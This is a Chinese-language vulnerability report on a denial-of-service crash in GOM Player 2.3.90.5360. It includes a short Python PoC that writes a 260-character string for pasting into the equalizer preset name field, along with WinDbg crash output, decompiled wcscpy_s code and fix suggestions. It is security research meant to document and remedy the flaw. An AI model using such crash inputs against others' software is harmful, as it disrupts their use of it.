GOM Player 2.3.90.5360 - Buffer Overflow
字数 1048 2025-08-22 18:37:22
GOM Player 2.3.90.5360 缓冲区溢出漏洞分析报告
1. 漏洞概述
1.1 基本信息
- 软件名称: GOM Player (Gretech Online Movie Player)
- 开发商: 韩国 GRETECH
- 版本: 2.3.90.5360
- 漏洞类型: 安全函数误用导致的拒绝服务
- CVE编号: 未分配
- 影响: 导致程序崩溃
1.2 漏洞描述
GOM Player在处理均衡器预设名称时,当输入的内容大于等于预设名称空间时,wcscpy_s函数检测到目标缓冲区大小无法容纳源字符串而主动抛出异常,导致程序崩溃。
2. 漏洞复现
2.1 环境准备
- 软件下载: GitHub仓库
- 调试工具: WinDbg
2.2 PoC代码
exploit = 'A' * 260
try:
file = open("exploit.txt", "w")
file.write(exploit)
file.close()
print("POC is created")
except:
print("POC is not created")
2.3 触发步骤
- 打开GOM Player
- 点击齿轮图标打开设置
- 从菜单中选择"Audio"
- 点击"Equalizer"
- 点击加号进入"Add EQ preset"界面
- 将exploit.txt内容复制到预设名称框中并点击OK
- 程序崩溃
3. 漏洞分析
3.1 崩溃现场分析
崩溃时WinDbg显示:
(219c.2778): Security check failure or stack buffer overrun - code c0000409 (!!! second chance !!!)
Subcode: 0x5 FAST_FAIL_INVALID_ARG
eax=00000001 ebx=0b1f0f70 ecx=00000005 edx=00000000 esi=00000022 edi=0b1f0f70
eip=00ee71de esp=01afecc8 ebp=01afece0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
GOM32Q_vc120_ReleaseQC+0x6371de:
00ee71de cd29 int 29h
3.2 调用栈回溯
0:000> kb
# ChildEBP RetAddr Args to Child
00 01afece0 00ee71cc 00000000 00000000 00000000 GOM32Q_vc120_ReleaseQC+0x6371de
01 01afed04 00ab6a63 01afee0c 00000104 0b1fb610 GOM32Q_vc120_ReleaseQC+0x6371cc
02 01aff058 00a9d040 0b1f39a0 00000001 00db723a GOM32Q_vc120_ReleaseQC+0x206a63
...
关键漏洞点位于00ab6a63,即wcscpy_s函数调用处。
3.3 内存分析
- 输入缓冲区(Source):
0:000> dc 0b1fb610
0b1fb610 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
0b1fb620 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
...
- 目标缓冲区(Destination):
0:000> dc 01afee0c
01afee0c 00410000 00410041 00410041 00410041 ..A.A.A.A.A.A.A.
01afee1c 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A.
...
3.4 wcscpy_s函数实现分析
errno_t __cdecl wcscpy_s(wchar_t *Destination, rsize_t SizeInWords, const wchar_t *Source)
{
rsize_t v3; // edx
const wchar_t *v4; // ecx
int *v5; // eax
errno_t result; // eax
wchar_t v7; // ax
errno_t v8; // [esp-4h] [ebp-8h]
if(!Destination)
goto LABEL_5;
v3 = SizeInWords;
if(!SizeInWords)
goto LABEL_5;
v4 = Source;
if(!Source)
{
*Destination = 0;
LABEL_5:
v5 = _errno();
v8 = 22;
LABEL_6:
*v5 = v8;
_invalid_parameter_noinfo();
return v8;
}
do
{
v7 = *v4;
*(v4 + Destination - Source) = *v4;
++v4;
if(!v7)
break;
--v3;
}
while(v3);
result = 0;
if(!v3)
{
*Destination = 0;
v5 = _errno();
v8 = 34;
goto LABEL_6;
}
return result;
}
3.5 漏洞根本原因
- 目标缓冲区大小为0x104(260)个宽字符
- 当输入长度≥260时,
wcscpy_s会:- 将目标缓冲区首字符置为0
- 抛出异常(错误码34)
- 程序未处理此异常,导致崩溃
4. 漏洞利用分析
4.1 利用限制
- 无法实现任意代码执行
- 仅能导致程序崩溃(拒绝服务)
- 无法控制崩溃后的程序流程
4.2 漏洞链分析
- 用户点击"Add EQ preset"
- 程序调用
sub_606910 - 内部调用
wcscpy_s(Destination, 0x104, Source) - 当
strlen(Source) >= 0x104时触发异常 - 异常未被捕获,程序崩溃
5. 修复建议
5.1 临时缓解措施
- 限制均衡器预设名称长度(≤259字符)
5.2 代码修复方案
- 在调用
wcscpy_s前检查输入长度:
if(wcslen(Source) >= SizeInWords) {
// 处理错误,如截断或提示用户
return ERROR_INVALID_PARAMETER;
}
wcscpy_s(Destination, SizeInWords, Source);
- 添加异常处理机制:
__try {
wcscpy_s(Destination, SizeInWords, Source);
}
__except(EXCEPTION_EXECUTE_HANDLER) {
// 优雅地处理错误
}
6. 结论
该漏洞是一个由于安全函数(wcscpy_s)使用不当导致的拒绝服务漏洞,无法实现代码执行或权限提升。虽然影响有限,但仍建议开发者修复以避免用户体验问题。